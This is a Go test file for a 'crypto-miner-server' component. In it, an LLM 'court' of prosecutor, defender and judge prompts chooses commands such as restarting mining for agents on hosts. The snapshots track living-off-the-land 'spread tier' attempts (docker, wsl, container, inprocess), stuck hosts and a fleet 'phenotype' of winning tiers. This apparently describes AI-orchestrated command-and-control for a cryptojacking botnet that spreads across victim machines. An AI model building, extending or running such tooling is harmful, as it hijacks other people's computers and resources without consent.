package ai import ( "context" "strings" "testing" "time" "crypto-miner-server/internal/strategy" ) type mockCourt struct { atlas string phenotype *strategy.FleetPhenotype } func (m *mockCourt) FailureAtlasSummary(_, _ string) string { return m.atlas } func (m *mockCourt) BestPhenotype(_, _ string) (*strategy.FleetPhenotype, bool) { if m.phenotype == nil { return nil, false } return m.phenotype, true } func stuckSpreadAttempts() []TierAttempt { attempts := make([]TierAttempt, 0, len(defaultSpreadTiers)) for _, tier := range defaultSpreadTiers { attempts = append(attempts, TierAttempt{Tier: tier, OK: false, Error: "blocked"}) } return attempts } func TestBuildCourtPromptProsecutorFailures(t *testing.T) { snap := AgentSnapshot{ AgentID: "agent-stuck", Name: "stuck-host", GOOS: "windows", MiningHashrate: 0, Stuck: true, ChainExhausted: true, LOTLAttempts: stuckSpreadAttempts(), } bundle := BuildCourtPrompt(snap, "docker 8/8 failed (100%)", nil, PersonaBalanced) if !strings.Contains(bundle.SystemPrompt, "## PROSECUTOR") { t.Fatal("expected prosecutor section in system prompt") } if !strings.Contains(bundle.ProsecutorSnippet, "14/14 failed") { t.Fatalf("prosecutor missing failure count: %s", bundle.ProsecutorSnippet) } if !strings.Contains(bundle.ProsecutorSnippet, "Failure atlas: docker 8/8 failed") { t.Fatalf("prosecutor missing atlas: %s", bundle.ProsecutorSnippet) } } func TestBuildCourtPromptDefenderPhenotype(t *testing.T) { phenotype := &strategy.FleetPhenotype{ Fingerprint: "windows|1|0|1|0|0|10.0.0", SourceAgentID: "agent-ok", SourceAgentName: "agent-ok", ActiveTier: "container", PeakHashrate: 1500, TierOrder: []string{"container", "inprocess"}, } snap := AgentSnapshot{ AgentID: "agent-stuck", Stuck: true, LOTLAttempts: []TierAttempt{ {Tier: "docker", OK: false, Error: "denied"}, }, } bundle := BuildCourtPrompt(snap, "", phenotype, PersonaPersuasive) if !strings.Contains(bundle.DefenderSnippet, "Fleet phenotype from agent-ok") { t.Fatalf("defender missing phenotype: %s", bundle.DefenderSnippet) } if !strings.Contains(bundle.DefenderSnippet, "Winning tier: container") { t.Fatalf("defender missing winning tier: %s", bundle.DefenderSnippet) } if !strings.Contains(bundle.SystemPrompt, "## DEFENDER") { t.Fatal("expected defender section in system prompt") } } func TestParseCommandsFromCourtResponse(t *testing.T) { raw := "Verdict: restart mining after tier exhaustion.\n{\"commands\":[{\"type\":\"restart_mining\",\"args\":{}},{\"type\":\"noop\",\"args\":{}}]}" verdict := ExtractJudgeVerdict(raw) if !strings.Contains(verdict, "restart mining") { t.Fatalf("verdict: %q", verdict) } cmds := ParseCommands(raw) if len(cmds) != 2 || cmds[0].Type != CmdRestartMining { t.Fatalf("cmds: %+v", cmds) } } func TestShouldUseCourtStuckOrAllFailed(t *testing.T) { if !ShouldUseCourt(AgentSnapshot{Stuck: true}) { t.Fatal("expected court for stuck") } snap := AgentSnapshot{LOTLAttempts: stuckSpreadAttempts()} if !ShouldUseCourt(snap) { t.Fatal("expected court when all spread tiers failed") } if ShouldUseCourt(AgentSnapshot{LOTLAttempts: []TierAttempt{{Tier: "docker", OK: true}}}) { t.Fatal("expected mission prompt when a tier succeeded") } } func TestSchedulerUsesCourtWhenStuck(t *testing.T) { old := DecideFunc defer func() { DecideFunc = old }() var gotSystem, gotUser string DecideFunc = func(_ context.Context, _, _, systemPrompt, userPrompt string) (string, error) { gotSystem = systemPrompt gotUser = userPrompt return "Verdict: noop.\n{\"commands\":[{\"type\":\"noop\",\"args\":{}}]}", nil } exec := &mockExec{} store := &mockStore{} court := &mockCourt{atlas: "wsl 5/5 failed (100%)"} sched := NewScheduler( &mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}}, &mockSnap{ ids: []string{"agent-1"}, snap: AgentSnapshot{ AgentID: "agent-1", Name: "host", Stuck: true, LOTLAttempts: stuckSpreadAttempts(), }, }, exec, store, court, nil, ) sched.lastRun["agent-1"] = time.Now().Add(-2 * time.Minute) sched.Tick() if !strings.Contains(gotSystem, "## PROSECUTOR") { t.Fatalf("expected court system prompt, got: %s", gotSystem) } if !strings.Contains(gotUser, "## JUDGE") { t.Fatalf("expected judge user prompt, got: %s", gotUser) } }